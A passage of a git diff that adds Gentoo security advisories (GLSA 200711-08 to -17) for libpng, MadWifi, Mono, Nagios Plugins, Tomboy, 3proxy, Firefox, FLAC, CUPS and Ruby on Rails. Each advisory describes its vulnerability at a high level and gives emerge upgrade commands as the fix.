+      <vulnerable range="lt">2.4.4-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Python is an interpreted, interactive, object-oriented programming
+    language.
+    </p>
+  </background>
+  <description>
+    <p>
+    Slythers Bro discovered multiple integer overflows in the imageop
+    module, one of them in the tovideo() method, in various locations in
+    files imageop.c, rbgimgmodule.c, and also in other files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to process specially crafted
+    images with an application using the Python imageop module, resulting
+    in the execution of arbitrary code with the privileges of the user
+    running the application, or a Denial of Service. Note that this
+    vulnerability may or may not be exploitable, depending on the
+    application using the module.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Python 2.3.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/python-2.3.6-r3&quot;</code>
+    <p>
+    All Python 2.4.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/python-2.4.4-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4965">CVE-2007-4965</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 27 Oct 2007 13:38:30 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 01 Nov 2007 20:41:20 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 01 Nov 2007 20:41:27 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-08.xml b/xml/htdocs/security/en/glsa/glsa-200711-08.xml
new file mode 100644
index 00000000..5c5bd170
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-08.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-08">
+  <title>libpng: Multiple Denials of Service</title>
+  <synopsis>
+    Several vulnerabilities in libpng may allow a remote attacker to crash
+    applications that handle untrusted images.
+  </synopsis>
+  <product type="ebuild">libpng</product>
+  <announced>November 07, 2007</announced>
+  <revised>November 07, 2007: 01</revised>
+  <bug>195261</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libpng" auto="yes" arch="*">
+      <unaffected range="ge">1.2.21-r3</unaffected>
+      <vulnerable range="lt">1.2.21-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libpng is a free ANSI C library used to process and manipulate PNG
+    images.
+    </p>
+  </background>
+  <description>
+    <p>
+    An off-by-one error when handling ICC profile chunks in the
+    png_set_iCCP() function was discovered (CVE-2007-5266). George Cook and
+    Jeff Phillips reported several errors in pngrtran.c, the use of logical
+    instead of a bitwise functions and incorrect comparisons
+    (CVE-2007-5268). Tavis Ormandy reported out-of-bounds read errors in
+    several PNG chunk handling functions (CVE-2007-5269).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft an image that when processed or viewed by
+    an application using libpng would cause the application to terminate
+    abnormally.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libpng users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libpng-1.2.21-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5266">CVE-2007-5266</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5268">CVE-2007-5268</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5269">CVE-2007-5269</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 20 Oct 2007 09:57:33 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 20 Oct 2007 09:57:41 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 26 Oct 2007 00:26:03 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-09.xml b/xml/htdocs/security/en/glsa/glsa-200711-09.xml
new file mode 100644
index 00000000..c0d76c85
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-09.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-09">
+  <title>MadWifi: Denial of Service</title>
+  <synopsis>
+    MadWifi does not correctly process beacon frames which can lead to a
+    remotely triggered Denial of Service.
+  </synopsis>
+  <product type="ebuild">madwifi-ng</product>
+  <announced>November 07, 2007</announced>
+  <revised>November 07, 2007: 01</revised>
+  <bug>195705</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-wireless/madwifi-ng" auto="yes" arch="*">
+      <unaffected range="ge">0.9.3.3</unaffected>
+      <vulnerable range="lt">0.9.3.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The MadWifi driver provides support for Atheros based IEEE 802.11
+    Wireless Lan cards.
+    </p>
+  </background>
+  <description>
+    <p>
+    Clemens Kolbitsch and Sylvester Keil reported an error when processing
+    beacon frames with an overly large "length" value in the "xrates"
+    element.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could act as an access point and send a specially
+    crafted packet to an Atheros based wireless client, possibly resulting
+    in a Denial of Service (kernel panic).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MadWifi users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-wireless/madwifi-ng-0.9.3.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5448">CVE-2007-5448</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 02 Nov 2007 23:16:45 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 03 Nov 2007 23:18:04 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 03 Nov 2007 23:18:55 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-10.xml b/xml/htdocs/security/en/glsa/glsa-200711-10.xml
new file mode 100644
index 00000000..a244cc6f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-10.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-10">
+  <title>Mono: Buffer overflow</title>
+  <synopsis>
+    Mono's BigInteger implementation contains a buffer overflow vulnerability
+    that might lead to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mono</product>
+  <announced>November 07, 2007</announced>
+  <revised>November 07, 2007: 01</revised>
+  <bug>197067</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/mono" auto="yes" arch="*">
+      <unaffected range="ge">1.2.5.1-r1</unaffected>
+      <vulnerable range="lt">1.2.5.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mono provides the necessary software to develop and run .NET client and
+    server applications on various platforms.
+    </p>
+  </background>
+  <description>
+    <p>
+    IOActive discovered an error in the Mono.Math.BigInteger class, in the
+    reduction step of the Montgomery-based Pow methods, that could lead to
+    a buffer overflow.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability by sending specially
+    crafted data to Mono applications using the BigInteger class, which
+    might lead to the execution of arbitrary code with the privileges of
+    the user running the application (possibly root) or a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mono users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/mono-1.2.5.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5197">CVE-2007-5197</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 03 Nov 2007 23:52:57 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 07 Nov 2007 22:49:37 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-11.xml b/xml/htdocs/security/en/glsa/glsa-200711-11.xml
new file mode 100644
index 00000000..0aaf4e0d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-11.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-11">
+  <title>Nagios Plugins: Two buffer overflows</title>
+  <synopsis>
+    Two buffer overflow vulnerabilities in the Nagios Plugins might allow for
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">nagios-plugins</product>
+  <announced>November 08, 2007</announced>
+  <revised>November 08, 2007: 01</revised>
+  <bug>196308</bug>
+  <bug>194178</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/nagios-plugins" auto="yes" arch="*">
+      <unaffected range="ge">1.4.10-r1</unaffected>
+      <vulnerable range="lt">1.4.10-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Nagios Plugins are an official set of plugins for Nagios, an open
+    source host, service and network monitoring program.
+    </p>
+  </background>
+  <description>
+    <p>
+    fabiodds reported a boundary checking error in the "check_snmp" plugin
+    when processing SNMP "GET" replies that could lead to a stack-based
+    buffer overflow (CVE-2007-5623). Nobuhiro Ban reported a boundary
+    checking error in the redir() function of the "check_http" plugin when
+    processing HTTP "Location:" header information which might lead to a
+    buffer overflow (CVE-2007-5198).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit these vulnerabilities to execute
+    arbitrary code with the privileges of the user running Nagios or cause
+    a Denial of Service by (1) sending a specially crafted SNMP "GET" reply
+    to the Nagios daemon or (2) sending an overly long string in the
+    "Location:" header of an HTTP reply. Note that to exploit (2), the
+    malicious or compromised web server has to be configured in Nagios and
+    the "-f" (follow) option has to be enabled.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of the Nagios Plugins should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/nagios-plugins-1.4.10-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5198">CVE-2007-5198</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5623">CVE-2007-5623</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 03 Nov 2007 12:12:46 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 05 Nov 2007 00:16:27 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 07 Nov 2007 19:12:11 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-12.xml b/xml/htdocs/security/en/glsa/glsa-200711-12.xml
new file mode 100644
index 00000000..97e12d2b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-12.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-12">
+  <title>Tomboy: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Tomboy doesn't properly handle environment variables, potentially allowing
+    a local attacker to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">tomboy</product>
+  <announced>November 08, 2007</announced>
+  <revised>November 08, 2007: 01</revised>
+  <bug>189249</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-misc/tomboy" auto="yes" arch="*">
+      <unaffected range="ge">0.8.1-r1</unaffected>
+      <vulnerable range="lt">0.8.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Tomboy is a GTK-based desktop note-taking application written in C# and
+    the Mono C#.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jan Oravec reported that the "/usr/bin/tomboy" script sets the
+    "LD_LIBRARY_PATH" environment variable incorrectly, which might result
+    in the current working directory (.) to be included when searching for
+    dynamically linked libraries of the Mono Runtime application.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could entice a user into running Tomboy in a directory
+    containing a specially crafted library file to execute arbitrary code
+    with the privileges of the user running Tomboy.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not run Tomboy from an untrusted working directory.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Tomboy users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-misc/tomboy-0.8.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4790">CVE-2005-4790</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 06 Nov 2007 01:11:29 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 06 Nov 2007 04:11:22 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 06 Nov 2007 04:11:35 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-13.xml b/xml/htdocs/security/en/glsa/glsa-200711-13.xml
new file mode 100644
index 00000000..eeba4eac
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-13.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-13">
+  <title>3proxy: Denial of Service</title>
+  <synopsis>
+    A vulnerability has been discovered in 3proxy, possibly resulting in a
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">3proxy</product>
+  <announced>November 08, 2007</announced>
+  <revised>November 08, 2007: 01</revised>
+  <bug>196772</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/3proxy" auto="yes" arch="*">
+      <unaffected range="ge">0.5.3j</unaffected>
+      <vulnerable range="lt">0.5.3j</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    3proxy is a really tiny cross-platform proxy servers set, including
+    HTTP, HTTPS, FTP, SOCKS and POP3 support.
+    </p>
+  </background>
+  <description>
+    <p>
+    3proxy contains a double free vulnerability in the ftpprchild()
+    function, which frees param->hostname and calls the parsehostname()
+    function, which in turn attempts to free param->hostname again.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted request to the proxy,
+    possibly resulting in a Denial of Service. Under typical configuration,
+    the scope of this vulnerability is limited to the local network.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All 3proxy users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/3proxy-0.5.3j&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5622">CVE-2007-5622</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 02 Nov 2007 23:15:07 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 03 Nov 2007 12:02:00 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 04 Nov 2007 14:26:02 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-14.xml b/xml/htdocs/security/en/glsa/glsa-200711-14.xml
new file mode 100644
index 00000000..87364c36
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-14.xml
@@ -0,0 +1,127 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-14">
+  <title>Mozilla Firefox, SeaMonkey, XULRunner: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Mozilla Firefox, SeaMonkey
+    and XULRunner, potentially allowing to compromise a user's system.
+  </synopsis>
+  <product type="ebuild">firefox seamonkey xulrunner</product>
+  <announced>November 12, 2007</announced>
+  <revised>November 12, 2007: 01</revised>
+  <bug>196480</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.9</unaffected>
+      <vulnerable range="lt">2.0.0.9</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.0.0.9</unaffected>
+      <vulnerable range="lt">2.0.0.9</vulnerable>
+    </package>
+    <package name="www-client/seamonkey" auto="yes" arch="*">
+      <unaffected range="ge">1.1.6</unaffected>
+      <vulnerable range="lt">1.1.6</vulnerable>
+    </package>
+    <package name="www-client/seamonkey-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.1.6</unaffected>
+      <vulnerable range="lt">1.1.6</vulnerable>
+    </package>
+    <package name="net-libs/xulrunner" auto="yes" arch="*">
+      <unaffected range="ge">1.8.1.9</unaffected>
+      <vulnerable range="lt">1.8.1.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is a cross-platform web browser from Mozilla. SeaMonkey
+    is a free, cross-platform Internet suite.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in Mozilla Firefox and
+    SeaMonkey. Various errors in the browser engine and the Javascript
+    engine can be exploited to cause a memory corruption (CVE-2007-5339 and
+    CVE-2007-5340). Before being used in a request, input passed to the
+    user ID when making an HTTP request with digest authentication is not
+    properly sanitised (CVE-2007-2292). The titlebar can be hidden by a XUL
+    markup language document (CVE-2007-5334). Additionally, an error exists
+    in the handling of "smb:" and "sftp:" URI schemes on systems with
+    gnome-vfs support (CVE-2007-5337). An unspecified error in the handling
+    of "XPCNativeWrappers" and not properly implementing JavaScript
+    onUnload() handlers may allow the execution of arbitrary Javascript
+    code (CVE-2007-5338 and CVE-2007-1095). Another error is triggered by
+    using the addMicrosummaryGenerator sidebar method to access file: URIs
+    (CVE-2007-5335).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these issues to execute arbitrary code,
+    gain the privileges of the user running the application, disclose
+    sensitive information, conduct phishing attacks, and read and
+    manipulate certain data.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-2.0.0.9&quot;</code>
+    <p>
+    All Mozilla Firefox binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-2.0.0.9&quot;</code>
+    <p>
+    All SeaMonkey users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-1.1.6&quot;</code>
+    <p>
+    All SeaMonkey binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-bin-1.1.6&quot;</code>
+    <p>
+    All XULRunner users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/xulrunner-1.8.1.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1095">CVE-2007-1095</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2292">CVE-2007-2292</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5334">CVE-2007-5334</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5335">CVE-2007-5335</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5337">CVE-2007-5337</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5338">CVE-2007-5338</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5339">CVE-2007-5339</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5340">CVE-2007-5340</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 24 Oct 2007 22:27:12 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 25 Oct 2007 23:05:04 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 Nov 2007 21:08:46 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-15.xml b/xml/htdocs/security/en/glsa/glsa-200711-15.xml
new file mode 100644
index 00000000..68c8ee6d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-15.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-15">
+  <title>FLAC: Buffer overflow</title>
+  <synopsis>
+    Multiple integer overflow vulnerabilities were found in FLAC possibly
+    allowing for the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">flac</product>
+  <announced>November 12, 2007</announced>
+  <revised>November 12, 2007: 01</revised>
+  <bug>195700</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/flac" auto="yes" arch="*">
+      <unaffected range="ge">1.2.1-r1</unaffected>
+      <vulnerable range="lt">1.2.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Xiph.org Free Lossless Audio Codec (FLAC) library is the reference
+    implementation of the FLAC audio file format. It contains encoders and
+    decoders in library and executable form.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sean de Regge reported multiple integer overflows when processing FLAC
+    media files that could lead to improper memory allocations resulting in
+    heap-based buffer overflows.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted FLAC
+    file or network stream with an application using FLAC. This might lead
+    to the execution of arbitrary code with privileges of the user playing
+    the file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FLAC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/flac-1.2.1-r1&quot;</code>
+    <p>
+    You should also run revdep-rebuild to rebuild any packages that depend
+    on older versions of FLAC:
+    </p>
+    <code>
+    # revdep-rebuild --library=libFLAC.*</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4619">CVE-2007-4619</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 01 Nov 2007 19:12:08 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 02 Nov 2007 03:25:37 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 03 Nov 2007 23:19:45 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-16.xml b/xml/htdocs/security/en/glsa/glsa-200711-16.xml
new file mode 100644
index 00000000..ad33c61e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-16.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-16">
+  <title>CUPS: Memory corruption</title>
+  <synopsis>
+    CUPS contains a boundary checking error that might lead to the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">cups</product>
+  <announced>November 12, 2007</announced>
+  <revised>November 12, 2007: 01</revised>
+  <bug>196736</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-print/cups" auto="yes" arch="*">
+      <unaffected range="ge">1.2.12-r2</unaffected>
+      <vulnerable range="lt">1.2.12-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CUPS provides a portable printing layer for UNIX-based operating
+    systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alin Rad Pop (Secunia Research) discovered an off-by-one error in the
+    ippReadIO() function when handling Internet Printing Protocol (IPP)
+    tags that might allow to overwrite one byte on the stack.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could send a specially crafted IPP request containing
+    "textWithLanguage" or "nameWithLanguage" tags, leading to a Denial of
+    Service or the execution of arbitrary code with the privileges of the
+    "lp" user. If CUPS is configured to allow network printing, this
+    vulnerability might be remotely exploitable.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    To avoid remote exploitation, network access to CUPS servers on port
+    631/udp should be restricted. In order to do this, update the "Listen"
+    setting in cupsd.conf to "<i>Listen localhost:631</i>" or add a rule to
+    the system's firewall. However, this will not avoid local users from
+    exploiting this vulnerability.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CUPS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-print/cups-1.2.12-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4351">CVE-2007-4351</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 04 Nov 2007 00:16:24 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 11 Nov 2007 08:38:00 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-17.xml b/xml/htdocs/security/en/glsa/glsa-200711-17.xml
new file mode 100644
index 00000000..c9ad00df
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-17.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-17">
+  <title>Ruby on Rails: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities were found in Ruby on Rails allowing for file
+    disclosure and theft of user credentials.
+  </synopsis>
+  <product type="ebuild">rails</product>
+  <announced>November 14, 2007</announced>
+  <revised>November 14, 2007: 01</revised>
+  <bug>195315</bug>
+  <bug>182223</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-ruby/rails" auto="yes" arch="*">
+      <unaffected range="ge">1.2.5</unaffected>
+      <vulnerable range="lt">1.2.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby on Rails is a free web framework used to develop database-driven
+    web applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    candlerb found that ActiveResource, when processing responses using the
+    Hash.from_xml() function, does not properly sanitize filenames
+    (CVE-2007-5380). The session management functionality allowed the
+    "session_id" to be set in the URL (CVE-2007-5380). BCC discovered that
+    the to_json() function does not properly sanitize input before
+    returning it to the user (CVE-2007-3227).
